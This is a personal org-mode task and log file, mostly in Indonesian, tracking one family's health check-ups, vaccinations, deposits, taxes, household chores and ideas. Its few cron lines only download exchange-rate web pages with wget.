pemalang, ...\n- anak2 nyobain naik kereta api ekonomi non-ac (kalo ada), ekonomi ac, dan\n  eksekutif. biar nanti mereka compare dengan luar negeri.\n- nginap di hotel/losmen sederhana, non-ac dan ac. gak ada tv. dsb.\n- liat2x makan dan perbedaan gaya hidup dan orang2x dan bangunan dll. jadi tahu\n  tingkat perkembangan sebuah kota. positif dan negatifnya.\n- pagi2x jalan2x blusukan.\n- bertradisional ria, no gadgets gps dsb. naik angkota, *nanya*, liat peta, dsb.\n  nentuin acara sendiri. spontan.\n- anak2x disuruh berinteraksi dg orang2x lokal, nanya jalanlah, nanya makanan,\n  cerita, dsb.\n- random, di stasiun pilih tiket ke kota mana secara random. no prior research.\n* health [0/0]\n** IDEA [2014-12-03 Wed] start basic yoga or posture training\n** TODO [2014-11-13 Thu] mkn vit e jg?\n- log ::\n  + [2015-01-05 Sen] kadang2x jadinya, seminggu 1-3x\n** DONE bikin appointment ke perisai husada <2015-02-09 >\n** TODO kontrol XIX ke dr nanny <2015-05-11 Mon>                     :health:\n- dr nanny sekarang cuma hari senin (dan rabu?) di klinik perisai husada.\n:LOGBOOK:\n- [2015-03-09 Mon] kontrol XVIII, tshs 5.062 (sedikiit di atas normal), turunin\n  kadar obat jadi Sn/Rb/Jm 5mg, Sl/Km/Sb/Mg 2.5mg. detak jantung normal 110/70,\n  bengkak juga mengecil.\n- [2015-01-05 Mon] kontrol XVII\n- [2014-11-03 Mon] kontrol XVI\n- [2014-10-27 Mon] batal karena dr sakit (meriang katanya), diganti ke minggu\n  depan\n- [2014-09-22 Mon] kontrol XV\n- [2014-09-08 Mon] batal karena dokter gak praktek dan karena gw pake nomor lama\n  dan nomor rumah kebon manggu jadi gak bisa dihubungi.\n- [2014-06-10 Mon] kontrol XIV karena ternyata tshs < 1.5 (1.49)\n- [2014-02-24 Mon] kontrol XIII karena ternyata tshs < 1.5 (1.393)\n- [2013-12-23 Mon] kontrol XII\n- [2013-10-21 Mon] kontrol XI\n- [2013-07-22 Mon] kontrol X\n- [2013-05-20 Mon] kontrol IX (tapi karena bagus, gak jadi bayar, gw malah dioper ke dr lanny)\n- [2013-02-04 Mon] kontrol VIII\n- [2012-10-29 Mon] kontrol VII\n- [2012-07-23 Mon] kontrol VI\n- [2012-05-21 Mon] kontrol V\n- [2012-03-19 Mon] kontrol IV\n- [2012-01-30 Mon] kontrol III\n- [2011-12-19 Mon] kontrol II\n- [2011-11-14 Mon] kontrol I (kedatangan ke-2)\n- [2011-10-12 Wed] kedatangan ke-1\n:END:\n** TODO (after 40) mulai latihan beban\n** TODO [2014-10-07 ] (after 50) vaksinasi cacar air/herpes zooster utk booster\n** TODO [2015-01-09 Fri] blood test: Helicobacter pylori?\n- udah beberapa bulan ini gw jadi suka kembung saat jam makan dilewati (tapi\n  kembungnya cuma 1-2 jam setelah itu hilang lagi dan ga lapar or sakit).\n  penasaran aja sih.\n* house/apartemen taman sari semanggi [0/0]\n* house/kebon manggu 109-22c [0/0]\n** CANCELLED TODO vaksinasi hercules \@1th <2014-12-01 Aaa>              :pet:\n- log:\n  + [2014-06-19 Kam] anjingnya dah mati :p\n  + [2014-02-04 ]? done, I, oleh penjualnya\n  + [2014-03-31 Sen] done, II, dr ade tedi, 5L+rabies\n** CANCELLED bayar pajak pph pasal 25 mama  <2014-02-01 Aaa ++1m>\n   - State \"DONE\"       from \"WISHLIST\"   [2013-02-15 Fri 07:48]\n   - State \"DONE\"       from \"TODO\"       [2012-02-06 Mon 20:57]\n   :PROPERTIES:\n   :END:\n- [2012-02-05 Sun] utk taun 2012, naikin deh dari 7600 jadi 12000 atau berapa lah.\n- [2012-02-06 Mon] jadi 20rb.\n- [2014-03-05 Wed] gak bisa lagi dirapel nih karena ada pp 46/2013 sejak jul\n  2013 yang 1% omzet per tahun.\n- [2014-03-29 Sab] dicancel dulu, sekarang tiap bulan\n\n** TODO [2014-08-27 ] jepret foto kungkung n apoh. dua2nya.  :ctx_home_kbmanggu:\n** DONE TODO anggota keluarga kebon manggu makan obat cacing <2015-01-24 Sat .+1y>  :health:\n   - State \"DONE\"       from \"WISHLIST\"   [2014-01-24 Fri 07:28]\n   - State \"DONE\"       from \"TODO\"       [2011-11-28 Mon 10:16]\n- log ::\n  - [2015-02-13 Fri] gw akhiri aja\n  - [2014-01-24 ] makan sekeluarga (kecuali papa karena di icu). combantrin\n    250mg. pepe, tomi, mama, neni, nia, bu dede, dan jinny II.\n  - [2012-12-18 ] makan sekeluarga, termasuk jinny\n  - [2011-11-25 ] pepe makan, yang lainnya juga udah makan 2-3 hari sesudahnya\n    kecuali tomi\n  - [2011-08-02 ] karena pelihara anjing lagi di rumah, gw galakkan lagi aja\n    memberi obat cacing ke seluruh keluarga. jangan lupa anjingnya juga (beri\n    obat cacing khusus anjing? karena ada jenis cacing yg gak mati dengan\n    combantrin gitu *katanya*).\n** TODO [2013-10-19 Sab] tes iq nia, pertimbangkan sekolahkan sekretaris, jadiin sekretaris di rumah\n* house/setrawangi selatan iii-12 [0/2]\n** TODO [2015-04-07 Tue] setup internet connection di rumah via tethering hp\n- gw udah beli usb-LAN maupun USB-wifi 1-2 bulan yang lalu\n- nanti kalo udah keburu pasang first media, ga perlu lagi karena nanti jadi\n  koneksi kabel lagi.\n** TODO [2014-12-28 Sun] imb dan pbb 2014 setrawangi selatan iii/12 belum ada?\n- kata liana nunggu pak rt? atau dari ko tjepy?\n- btw, pbb 2013 luas bangunannya masih 0 (belum ada bangunan)\n** TODO anggota keluarga setrawangi makan obat cacing <2016-01-20 Wed .+1y> :health:\n   - State \"DONE\"       from \"PENDING\"    [2015-01-20 Tue 16:38]\n   :PROPERTIES:\n   :LAST_REPEAT: [2015-01-20 Tue 16:38]\n   :END:\n- log ::\n  + [2014-12-14 Sun] create\n  + [2015-01-20 Tue] done, kecuali liana (dan ryo) karena gak dianjurkan utk ibu\n    menyusui dan anak di bawah 2th. tapi gw (makan vermox 500mg) dan 2 pembantu\n    (combantrin 500mg) makan.\n** TODO [2014-03-04 Tue] 2buy: pinset utk toolbox\n- utk obeng2x kecil gw udah punya, tapi utk pinset nya belum utk ngambil2 barang\n  kecil\n** TODO [2014-03-04 Tue] 2buy: spare battery aa utk hn zoom (recorder)\n- beli yang rechargeable aja kali ya\n** TODO [2014-03-04 Tue] 2buy: harddisk backup untuk cctv\n** TODO [2014-03-04 Tue] setup cctv (networking, backup, setting recording yg gak terlalu disk-space hungry)\n** TODO [2014-01-01 Rab] 2cook: poached fish\n- kayak poached cheesy dori yang dicobain di manhattan fish market.\n** TODO [2013-12-29 Min] 2buy: fitness equipment?\n** TODO [2013-12-28 Sab] pasang kedap ruangan\n- gw nyoba pake stetoskop utk menguping pembicaraan orang di apartemen taman\n  semanggi, ternyata mudah dan terdengar jelas ya pembicaraan orang, serem juga.\n\n* ideas [0/0]\n** IDEA [2013-12-18 Rab] acara tv: seperti seinfeld 707 tentang jalan2x shortcut di NY (bdg)\n- hal2x yg lucu di jalanan di bandung, misalnya tukang jual buah di\n  oto/ciateul/tegallega yang displaynya suka menipu, mis: 1/2 kg = 5000 tapi\n  \"1/\"-nya kecil banget, gak keliatan kalo orang lewat pake mobil, jadi\n  terlihatnya seperti \"2kg = 5000\", atau \"1/2 kg tapi /2 nya gak keliatan\"\n** IDEA [2013-10-20 Min] jual jasa autoupdate WHMCS\n- riskan gak ya? riskan deh. and it's something i don't like doing.\n** IDEA [2013-10-15 Sel] cek iq nia kurniawati\n- kayaknya mayan pintar deh, gw pengen tau iq-nya seberapa. apa dia kuliah atau\n  gak ya?\n** IDEA [2012-08-28 Tue] perl module of the week\n- mirip2x python module of the week\n** IDEA [2012-06-23 Sat] password field that accept two+ passwords\n- it's a stupid idea i think\n* invest [0/0]\n** TODO [2015-01-12 Mon] beli tanah murah (mis yang Rp 10rb/m2, seperti ko tjepy), buat jangka panjang\n** IDEA [2014-12-19 Fri] jadwalkan kelola investasi tiap 3bln? 6bln?\nini dari pemikiran gw bahwa kita harus \"menyicil decision\", untuk menghindari\none single big mistake jika decision digabung/dirapel jadi satu kali.\n* invest/depo/bpr ks [0/0]\n** _ODO jatuh tempo GG82483 (via sendy  ) 1201,298jt 1bln 11%    (8.8% nett) <2014-11-24 Aaa +1m>\n- log ::\n  + [2014-10-24 Mon] bekas GG71006 (1398,762jt + bunga 5 bulan +-52jt) yang\n    diambil 250jt\n** _ODO jatuh tempo GG51094 (via sendy  ) 3623,219jt 1bln  8.25% (6.6% nett) <2013-09-09 Aaa +1m>\n- [2013-10-16 Rab] akan digabung dengan gg52821 tgl [2013-11-09 Rab]. bilyet\n  sudah dikasihkan ke sendy.\n- [2013-07-09 Wed] diganti dari GG49xxx 2231+bunga 7jt = 2238, ditambah 1375jt\n  dari hasil dividen mwn + yang ada di tabungan 9.45jt jadi 3623,219jt.\n- [2013-03-25 Mon] pertama buka, hasil gabung 1384jt + 650 transfer dari bca +\n  di tabungan ks.\n- [2013-03-25 Mon] udah jadi 13xx, udah ditarik hari ini dan digabung dengan\n  duit 650jt-an yg gw transfer dari bca minggu lalu dan sempet masuk on-call 1\n  minggu (dividen) + yang ada di tabungan 19jt-an, jadi totalnya. 2053,45jt.\n- [2013-04-25 ] 2053,46jt GG48716 (on call)\n- [2013-05-11 Sat] digabung dengan GG45643, jadi 2231,246jt 1bln bunga 8%.\n  tabungan 0.\n* invest/depo/koperasi sb [0/4]\n** TODO jatuh tempo depo ksb #1091023 (via johan) 300jt 6bln 15% (13.5% nett) <2015-07-19 Sun +6m -1m>\n   - State \"DONE\"       from \"PENDING\"    [2015-01-20 Tue 17:20]\n   :PROPERTIES:\n   :LAST_REPEAT: [2015-01-20 Tue 17:20]\n   :END:\n- bunga 15% dipotong pajak 10% jadi nett 13.5%, tiap penempatan 100jt dapet cash\n  back 500rb.\n- log ::\n  + [2015-01-19 ] diperpanjang 6 bulan\n  + [2014-07-13 Sun] diperpanjang dulu aja 6 bulan. dapet bonus penempatan lagi\n    500rb per 100jt.\n  + [2014-01-20 ] penempatan\n** TODO jatuh tempo depo ksb #1092190 (via johan) 250jt 6bln 15% (13.5% nett) <2015-09-08 Aaa +6m -1m>\n- log ::\n  + [2014-09-08 ] penempatan\n  + [2015-03-08 ] diperpanjang, nomor dari 1091630 jadi 1092190\n** TODO jatuh tempo depo ksb #1092186 (via johan) 200jt 6bln 15% (13.5% nett) <2015-03-06 Aaa +6m -1m>\n- log ::\n  + hasil penggabungan 100jt + 100jt\n** DONE jatuh tempo depo ksb #1091767 (via johan) 100jt 6bln 15% (13.5% nett) <2015-05-04 Aaa +6m -1m>\n- log ::\n  + [2014-11-04 Tue] penempatan\n** DONE jatuh tempo depo ksb #??????? (via johan) 100jt 6bln 15% (13.5% nett) <2015-06-19 Aaa +6m -1m>\n- log ::\n  + [2014-12-19 ] penempatan\n* invest/depo/koperasi cipaganti [0/0]\n** _ODO jatuh tempo (via febry) 1136jt 36bln 21% nett <2015-10-31 Aaa +36m -3m>\n- harus ngasih tau berhenti minimal 2 bulan sebelumnya\n* invest/ra [0/0]\n** TODO [2014-04-06 Sun] a better send-webpage-as-email (utk halaman rumah123.com)\n- yang ada sekarang gak terbaca hasilnya\n- atau alternatifnya buka di browser halaman tsb secara berkala? push ke tab opera?\n* invest/ra/bassura [0/0]\n** TODO harus pada jual bassura sebelum AJB <2018-10-10 Aaa -2y>  :ra_bassura:\n- ajb 2 tahun setelah penyerahan kunci tower terakhir.\n* laptop [0/0]\n** TODO [2015-01-07 Wed] install tlp \@laptop                     :ctx_laptop:\n* meta [0/0]\n** TODO [2015-01-07 Wed] skrip utk move done items ke done.org (taruh ke kategori yang sama)\n* person/l [2/2]\n** IDEA [2015-01-07 Wed] improve grammar/english liana dg nyuruh ngerjain grammar drills\n** TODO ide hadiah ultah liana: bunga/bouquet (lots?)  <2015-08-19 Aaa -1m>\n- log ::\n  + [2014-12-22 ] dapat ide bunga saat beliin mama bunga utk hari ibu\n** DELEGATED TODO kontrol ke dr obgyn julius \@elim  <2015-02-09 Sen -2w>\n- log ::\n  + [2015-02-09 ] dicancel karena liana ke dokter gigi, gak tau mau diganti hari\n    apa. delegated.\n  + [2015-02-02 Fri] visit II ke \@elim tapi, ternyata lebih mahal udah naik 2015\n    ini dari 120rb jadi 200rb. bener julius tornado pangayoman ini kakaknya roys\n    (temen sma gw). luka katanya sudah oke dan gpp kalau mau hamil lagi juga. ga\n    dikasih resep. pap smear juga, hasil diambil seminggu lagi. +\n  + [2014-12-22 Sen] visit I, 185rb\n** DONE [2014-07-15 ] joke buat liana pas ultah <2014-08-19 Aaa -1d>\nbarang apa yang saya punyai yang panjangnya 14 cm, bundar, tumpul, bisa nusuk, tapi orang gak sampe mati, sering saya pake, kadang sendiri, kadang berdua.\njawabannya pinsil.\n- log ::\n  + [2014-08-16 Sab] actually bbrp minggu lalu udah gw kasih tau tapi gak\n    nyambung kayaknya\n** CANCELLED [2014-06-24 Sel] ingatkan liana utk mengurangi nyusuin supaya balik subur lebih cepat <2014-07-28 >\n- log ::\n  + [2014-08-16 Sab] gak usah, nanti pas 6 bulan aja\n* person/mama [0/4]\n** DONE mama: cek ulang usg payudara & kontrol ke dr dimyati \@rs advent  <2015-01-15 Aaa -3w>  :health:\n- [2015-01-19 Mon] done\n- [2014-07-15 Tue] gw baca2x, utk pap smear (screening cervix cancer) kalo tiap\n  taun normal, dan monogamous, setelah 65 boleh berhenti karena risknya very\n  low. btw serviks itu daerah bawah uterus dan di atasnya vagina. bisa kena\n  kanker jaringan epiteliumnya kalo terinfeksi HPV. mama udah lama banget gak\n  dicek, jadi perlu dicek dulu sekali. biasanya udah tua dan terjangkit itu kalo\n  punya new sex partners. kanker ini lama tumbuhnya (20 tahun). jadi mama dicek\n  atau gak ya? cek aja kali ya sekali mah?\n- yang perlu diperhatikan lagi nanti colorectal (kolonoskopi, ini tiap 10 tahun)\n  dan kidney (tapi ini bisa lewat cek darah dulu ya utk fungsi ginjal).\n- utk colorectal: \"Colonoscopy at age 50 and then every 10 years, or annual\n  fecal occult blood test (FOBT) plus sigmoidoscopy every 5 years, or\n  sigmoidoscopy every 5 years, or double-contrast barium enema every 5 years\"\n- bone mass density?\n- cek glaucoma tiap 1-2 tahun\n- tiap taun vaksin pneumococcal, penting buat yang di atas 65th (cek dulu mama\n  terakhir kapan ya)\n- [2015-01-20 Tue] menurut anjuran dr dimyati, prosedur yang invasif gak terlalu\n  dianjurkan buat yang lanjut, lebih dianjurkan usg aja. jadi gw sekarang\n  schedule-kannya usg abdomen bawah tiap tahun, dan glaucoma/mata tiap 2 tahun,\n  sama vaksin pneumococcus\n** TODO [2015-01-20 Tue] mama: cek glaucoma/mata\n** TODO [2015-01-20 Tue] mama: booster vaksin pneumococcus\n** TODO mama: cek jantung? (tanya dulu dokter)  [2014-08-12 Tue]  :health:\n** TODO mama: cekup rutin usg abdomen  <2015-08-11 Aaa +1y>   :health:\n- lupa, harus minum dan nahan kencing dulu gak ya?\n- log ::\n  + [2014-08-11 ] di pramitha, 460rb\n** TODO cek darah/medical checkup mama <2015-04-09 Thu .+4m>\n   - State \"DONE\"       from \"TODO\"       [2014-12-08 ]\n   - State \"DONE\"       from \"WISHLIST\"   [2014-06-17 ]\n   - State \"DONE\"       from \"WISHLIST\"   [2013-07-22 Mon 11:01]\n   - State \"DONE\"       from \"WISHLIST\"   [2013-01-28 Mon 21:49]\n- log ::\n  - [2014-12-08 ] done \@prodia, home service, hasilnya baik semua (hm, hebat ya\n    si mama, hasilnya bagus semua tanpa bintang)\n  - [2014-06-17 ] done \@prodia, hasilnya baik kok\n  - [2013-11-25 Sen] gw pending dulu 2 bulan. MCU juli kemaren udah. sialnya gw\n    gak teliti gak baca tumor marker CAE papa yang 5.0, gw cuekin aja, harusnya\n    udah warning sign, tapi gw mana bisa tau ya bagian mana yg harus dicek\n    karena belum ada gejala apa2x? tumor marker itu general. sekarang papa lagi\n    dirawat, jadi biarin aja udah ada cek2x darah di sana. mama tumor markernya\n    normal, masalahnya cuma seputar TG/HDL/LDL doang, ntar aja.\n  - [2013-07-22 Mon] MCU, immanuel, masing2x paket basic (darah, urin, EKG,\n    rontgen dada) + nambah item tumor marker.\n  - [2013-01-28 Mon] elim, +- 540rb-an (mama jadi 500rb-an diskon HIT)\n  - [2012-12-17 Mon] kemaren gw udah suruh mama dan papa puasa (jam 21.30 mama\n    gw kasih teh manis). gara2x liana minggu lalu nyuruh gw + papa cek darah sih\n    karena gw ngeluh gerah/panas takut hyper lagi. taunya si papa pagi2x makan\n    semangka dan pepaya lagi >:(.\n  - [2012-09-15 Sat] diubah dari per 3bulan jadi per 4bln aja\n   - State \"DONE\"       from \"WISHLIST\"   [2012-09-11 ]\n   :PROPERTIES:\n   :LAST_REPEAT: [2014-12-09 Tue 11:26]\n   :END:\n* person/mama l [0/0]\n** TODO jadwal vaksinasi pneumococcus mama liana  <2019-11-13 Aaa +5y -1m>\n- log ::\n  + [2014-11-13 ] pneumo 23 (sanofi pasteur) di dr rini, 300rb\n* person/papa [0/0]\n** TODO [2014-02-11 Sel] scan akte kematian papa\n* person/ryo [0/0]\n* person/s [0/0]\n** TODO [2015-03-30 Mon] print hasil tes darah steven ke paper utk arsip, dalam bentuk tabel\n** CANCELLED [2014-05-27 Tue] servis hp galaxy nexus (bawa ke jkt aja?)  <2014-05-31 >\n- log ::\n  + [2014-07-17 Thu] waktu bulan 5 or 6 akhirnya dibawa, ternyata udah jalan\n    screennya. tapi ternyata tombol volume down-nya gak jalan, plus gw lupa (or\n    berubah?) password decrypt filesystem-nya, makanya gak bisa masuk ke custom\n    boot? (yg up+down+start dihold), cuma bisa masuk ke god-mode utk ... mo gw\n    biarin dulu.\n  + [2015-03-01 Sun] cancel, lost interest\n** CANCELLED IDEA [2014-03-27 Thu] iseng nyobain audiometri (tes tingkat ketulian) di lab kayak prodia\n- log ::\n  + [2015-02-13 Fri] cancel, i'm sure my ears are good and sensitive :)\n** CANCELLED [2014-03-26 Wed] instal static blog engine untuk steven.haryanto.org\n- log ::\n  + [2015-02-13 Fri] cancel, gak ada waktu. gw buat blog aja di wordpress.com,\n    terakhir januari lalu perlancar.wordpress.com.\n** TODO [2013-12-15 Min] cari apa yang bisa bikin semangat/moving pagi2x\n** TODO [2013-12-15 Min] q: advanced note-taking techniques\n** IDEA [2013-09-24 Tue] offload more work to (virtual) assistants\nref: http://life-longlearner.com/zirtual-review/\n\nkerjaan2x sekretaris kayak scheduling meetings/calls, doctor's appointments,\npesan2x tiket pesawat/travel/dsb, reservasi restoran, ke bank.\n\norganizing my desk.\n\nmarketing:\n\ndata entry\n\nresearch.\n\nresearch produk utk beli barang. paket liburan. ...\n\nfashion assistant.\n\n** TODO [2013-06-27 Thu] jika akun mwnsteven \@s23 mati, berikut2 ini tasks yang ada di sana\n# ini harus diconvert jadi distributed clients utk gudangapi\n: 5 */7 * * cd /home/mwnsteven/grab/github-languages && wget -q https://github.com/languages\n: 3 6,7,8,9,10,11,12,13,14,15,16,17,18 * * * cd /home/mwnsteven/grab/kurs-bca && wget -q http://www.bca.co.id/id/biaya-limit/kurs_counter_bca/kurs_counter_bca_landing.jsp\n: 4 6,7,8,9,10,11,12,13,14,15,16,17,18 * * * cd /home/mwnsteven/grab/kurs-mandiri && wget -q http://www.bankmandiri.co.id/resource/kurs.asp?row=2\n: 5 6,7,8,9,10,11,12,13,14,15,16,17,18 * * * cd /home/mwnsteven/grab/kurs-bi && wget -q http://www.bi.go.id/web/id/Moneter/Kurs+Bank+Indonesia/Kurs+Transaksi/\n: 6 7 * * * cd /home/mwnsteven/grab/kurs-pajak && wget -q http://www.pajak.go.id/kurs_tkb\n: 7 6,7,8,9,10,11,12,13,14,15,16,17,18 * * * cd /home/mwnsteven/grab/kurs-gmc && wget -q http://gmc.co.id/\n** DELEGATED DONE perbarui kartu member ace hardware  <2013-12-31 Aaa +1y -1m>\n- log ::\n  - [2015-02-13 Fri] udah diperpanjang bbrp minggu lalu dan delegated to liana.\n  - [2014-01-17 Fri] akhir des lalu udah belanja 2jt-an (beli walker buat mama +\n    kursi) jadi otomatis dapet kartu baru. kartunya suruh liana aja yg manage deh.\n  - [2013-04-02 Tue] tapi kalo memang gak dipake, biarin expired aja.\n** TODO [2012-07-04 Wed] cari komunitas orang2 keilmuan di indonesia\n- lead: milis evolusi\@yahoogroups.com\n- lead: http://prasdianto.blogspot.com/\n** TODO [2012-04-30 Mon] masukkan kata2x yang pernah dicari di kamus hanping/colordict ke anki\n** IDEA [2012-04-30 Mon] stiker perl di mobil [#C]\n** DONE smile!  <2012-01-03 >\n- [2012-04-14 Sat] set done dulu, capek ah liatnya.\n** DELEGATED perbarui paspor  <2014-11-19 Aaa .+5y -7.1m>\n- log:\n  + [2014-04-23 Rab] didelegate ke liana\n** CANCELLED boost vaksin hepatitis A  <2013-07-23 Aaa .+20y>        :health:\nmenurut wikipedia, jika diberikan 2x sbb: dosis pertama (mulai efektif 2-4\nminggu setelah vaksinasi) disambung booster 6-12 bulan setelah itu, akan\nmelindungi selama >20 tahun (dalam 95% kasus).\n\nlagian gak terlalu berbahaya, gak menyebabkan chronic liver disease.\n:LOGBOOK:\n- [2013-07-26 Fri] cancelled, menurut dr nanny tiap tahun harus boost, plus gak\n  berbahaya, jadi gak usah.\n- diundur dari [2013-03-17 ] jadi [2013-07-23 ]\n- diundur dari [2011-07-03 ] jadi 2 tahun pas checkup routine berikutnya aja\n  [2013-03-17 ] (tar cek aja anti hav). vaksinasi terakhir [2006-11-06 ],\n  sebenernya gak perlu lagi selama 20th. belum cek antibodi, tapi yang anti hbs\n  masih 17-18 (reaktif > 10).\n:END:\n** TODO boost vaksin hepatitis B  <2033-03-17 Aaa .+20y>             :health:\n:LOGBOOK:\n- vaksinasi booster [2013-04-23 ], kemarin dititer 53 mIU/mL (>10, tapi menurut\n  patokan di UK, <100 itu dianggap at risk & unprotected, jadi gw booster aja).\n  bulan depan bisa dicek, tapi mau gw sekalianin aja nanti ceknya pas bulan juli\n  cek tshs lagi. schedule berikutnya nanti pas gw udah 57th jadinya :p\n- terakhir vaksinasi [2006-11-06 ], seharusnya veksinasi terhadap org yg berusia\n  >6bln tahan 12-20 tahun sd life-long (bahkan setelah level antibodi turun,\n  katanya tetep ada cellular immunity). terakhir cek waktu cekup rutin,\n  [2011-03-01 ] hbsag negatif dan antihbs positif/reaktif 17-18 (>10). jadi,\n  ntar aja dicek sekalian cekup rutin berikutnya.\n:END:\n** TODO boost vaksin pneumococcus <2016-03-14 Aaa .+5y>              :health:\n** TODO routine checkup/cekup rutin <2015-07-13 Aaa .+2y>            :health:\n- untuk nanti kalo udah >40th: usg abdomen (kayak mama waktu agu 2014)?\n  colorectal, prostat (buat cowo),\n- log ::\n  - [2011-03-17 ] ambil paket eksklusif di elim\n  - DONE [2011-12-14 Wed] for next time, coba iseng cek herpes virus karena ini\n    amat prevalen (herpes simplex 1 & 2, hsv1 & hsv2). UPDATE: kayaknya udah deh.\n  - DONE [2013-07-09 ] paket basic di immanuel\n** TODO kontrol gigi/bersihkan karang <2015-10-12 Sen .+2y>          :health:\n- [2013-10-12 Sab] belum tentu harus bersihin karang lagi, kalo masih dikit\n  mungkin gak usah?\n   - State \"DONE\"       from \"WISHLIST\"   [2013-10-12 Sab 18:12]\n   - State \"DONE\"       from \"TODO\"       [2011-10-10 Mon]\n   :PROPERTIES:\n   :LAST_REPEAT: [2013-10-12 Sab 18:12]\n   :END:\n** TODO cek darah <2015-05-11 Aaa -4d>                               :health:\n- sekalian ah cek lagi herpes (hsv1 & hsv2) & hepatitis c. tapi hepatitis c gak\n  terlalu penting sih.\n- log ::\n  - [2015-03-09 Mon] tshs + panel nutrisi logam berat (11 item, 1,1jt: Fe, Co,\n    Pb, Hg, Mo, V, Se, Cu, Mn, Zn, Cr.\n  - [2014-09-08 ] done \@duta kartini\n  - [2014-06-02 ] done \@duta kartini, tshs\n  - [2014-02-24 ] done \@elim, tshs\n  - [2013-12-23 ] done \@andir, tshs\n  - [2013-10-21 Sen] done \@elim, tshs\n  - [2013-07-22 Mon] done \@immanuel, tshs\n  - [2013-04-22 Mon] done \@elim, nambah anti Hbs (nanya ke mbak erna di elim,\n    untuk ngecek vaksinnya masih ada atau gak, pake apa, bukan hbs ag ya,\n    seinget gw antibodi yg dicek).\n  - [2013-01-28 Mon] done, nambah kolesterol\n  - [2012-10-29 Mon] done, sekalian nambah VRDL dan kolesterol as uz\n  - [2012-07-23 Mon] done tes albumin+globulin, normal\n  - [2012-05-21 ] done ngetes anti HSV1 (oral herpes simplex virus) & anti HSV2\n    (genital herpes) antigen (apa antibodi ya?) dengan metode IgG (yang lebih\n    baru dan akurat ketimbang IgM, kedua metode ada di prodia). + kolest & tshs\n    as usual. hasilnya negatif, thank god :)\n  - [2011-12-14 Wed] for next time, coba iseng cek herpes virus karena ini amat\n    prevalen (herpes simplex 1 & 2, hsv1 & hsv2). utk dr nanny cuma diminta tshs\n    aja.\n** CANCELLED bayar pph 25 <2014-02-07 Fri +1y -1w>                      :tax:\n   - State \"DONE\"       from \"TODO\"       [2012-03-20 Tue 13:43]\n   - State \"DONE\"       from \"TODO\"       [2012-02-14 Tue 18:34]\n   :PROPERTIES:\n   :LAST_REPEAT: [2012-03-20 Tue 13:43]\n   :END:\n- cukup yang mama aja saat ini (reminder di todo yg lain), yang gw dibuat nihil,\n  yang tomi juga nihil, sloki udah gak ada. separate todo item.\n- gw biasa bayar 1 tahun ke depan langsung, 12 lembar ssp dirapel. suka ada yang\n  bilang hanya boleh max sd 6 bulan, tapi ada juga yang bolehin sampe 12.\n** TODO buat SPT dan bayar pph 29 (kurang bayar) <2016-03-31 Aaa +1y -20d>  :tax:\n   - State \"DONE\"       from \"TODO\"   [2014-03-25 ]\n   - State \"DONE\"       from \"TODO\"   [2013-03-25 ]\n   - State \"DONE\"       from \"TODO\"   [2012-03-25 ]\n   :PROPERTIES:\n   :LAST_REPEAT: [2014-03-28 ]\n   :END:\n- log:\n  - [2015-04-01 Wed] done: steven e-filing, mama file manual (1770 belum bisa)\n  - [2015-03-30 Mon] minggu lalu hari jumat gw udah e-filing yang gw. mama belum\n    karena form 1770 belum bisa.\n  - [2013-02-06 Wed] mulai tahun ini hanya bikin yang gw + mama. tomi udah bikin\n    sendiri.\n  - utk SPT taun 2011 mama sebaiknya kurang bayar karena udah diwarning oleh\n    kantor pajak lewat surat himbauan peningkatan angsuran :)\n  - [2014-03-29 Sab] gw bikin yang mama (1770s) dan gw (e-filing).\n  - [2014-03-30 Sun] mulai sekarang udah gak, ganti pp46\n** TODO setor pp46 mama [2014-07-01 Aaa +1m]                            :tax:\n- log:\n  + [2015-03-30 Mon] minggu lalu udah dibayar dari jan s.d. des 2014, gw turn\n    off dulu remindernya, lakukannya tiap tahun aja. dan ini harusnya sih bukan\n    pp46 tapi pph final ps 4 untuk kos (10% bruto hiks)\n  + [2014-03-30 Sun] dischedule mulai pembayaran jun 2014, karena sampe mei 2014\n    udah dibayar dari hasil pemindahbukuan. UPDATE: cancel gak jadi pindah2\n    bukuan.\n** TODO bayar pbb  <2013-05-01 Wed +1y -1w>                             :tax:\n:LOGBOOK:\n- State \"DONE\" from \"WISHLIST\" [2012-04-16 ] dah bayar 3-3nya. yang sasakgantung\n  sebaiknya dicharge dari bulan 4-12 (bukan punya gw lagi).\n- [2011-12-08 Thu] dah bayar pbb sasakgantung 23a 2011, belum ditagih 50% ke bu\n  achmad\n:END:\n   :PROPERTIES:\n   :LAST_REPEAT: [2012-04-17 Tue 06:27]\n   :END:\n- note: sekarang harus bayar yang kb manggu 109, 115\n** TODO ambil poin rewards hsbc <2015-11-01 Min +1y>\n   - State \"DONE\"       from \"WISHLIST\"   [2014-06-19 Kam 10:04]\n   - State \"DONE\"       from \"WISHLIST\"   [2013-11-09 ]\n   - State \"DONE\"       from \"WISHLIST\"   [2012-12-10 ]\n   :PROPERTIES:\n   :LAST_REPEAT: [2014-06-19 Kam 10:04]\n   :END:\n- [2014-06-17 ] ambil Rp 5,5jt sodexo\n- biasany januari pada expired pointnya\n- [2012-04-20 Fri] sogo abis maret 2012. sekarang ada voucher hypermart,\n  carrefour, dll, yipee. bisa ditukar di senayan city, dan beberapa tempat\n  lainnya.\n- [2012-12-10 ] redeem voucher carrefour 5jt di senayan city. masih ada poin\n  sekitar 800rb-an lagi (bisa ditukar voucher MAP 2jt-an misalnya).\n- [2013-11-13 Rab] ngambil 4.3jt voucher hypermart di pacific place (expired\n  2th), alternatifnya voucher MAP dan sodexco (berlaku cuma 6 bulan or\n  something).\n** TODO perpanjang domain haryanto.org  <2017-03-22 Aaa +5y -6m>     :domain:\n- mulai diregister [2012-03-23 Fri], mau agak melepaskan diri dari\n  \"masterweb.net\" ah biar image gw gak terlalu melekat dan gw bisa ke proyek2x\n  lainnya. ungkapan kekesalan aja sih, gw terlalu lama membela nama masterweb\n  tapi gw cuma dapet separuh sementara sisanya (dhiar) jarang banget ngapa2in.\n** TODO [2015-01-04 Min] scan ktp dan dokumen2x yang belum\n** TODO [2014-01-11 Sab] tandai scan/ mana yang ada aslinya dan mana yg udah gak ada\n** CANCELLED [2013-12-06 Jum] schedule baca artikel2x pregnancy yg sudah didownload <2013-12-09 >\n- log:\n  + [2014-04-24 Kam] nanti pas cuti akan gw baca, sekarang berisik\n** DONE kontrol ke \@dr asri [tentatif] <2015-01-26 Sen -7d>          :health:\n- log ::\n  + [2014-12-30 ] lihat notes/health.org\n  + [2014-10-04 ] pasang gigi sementara, plastik. 2 bulan berikutnya pasang gigi\n    permanen, setelah itu 1 minggu kontrol, setelah itu free.\n  + [2014-10-01 ] pasang crown sementara. gagal karena terlalu besar gigi\n    sementaranya.\n  + [2014-09-29 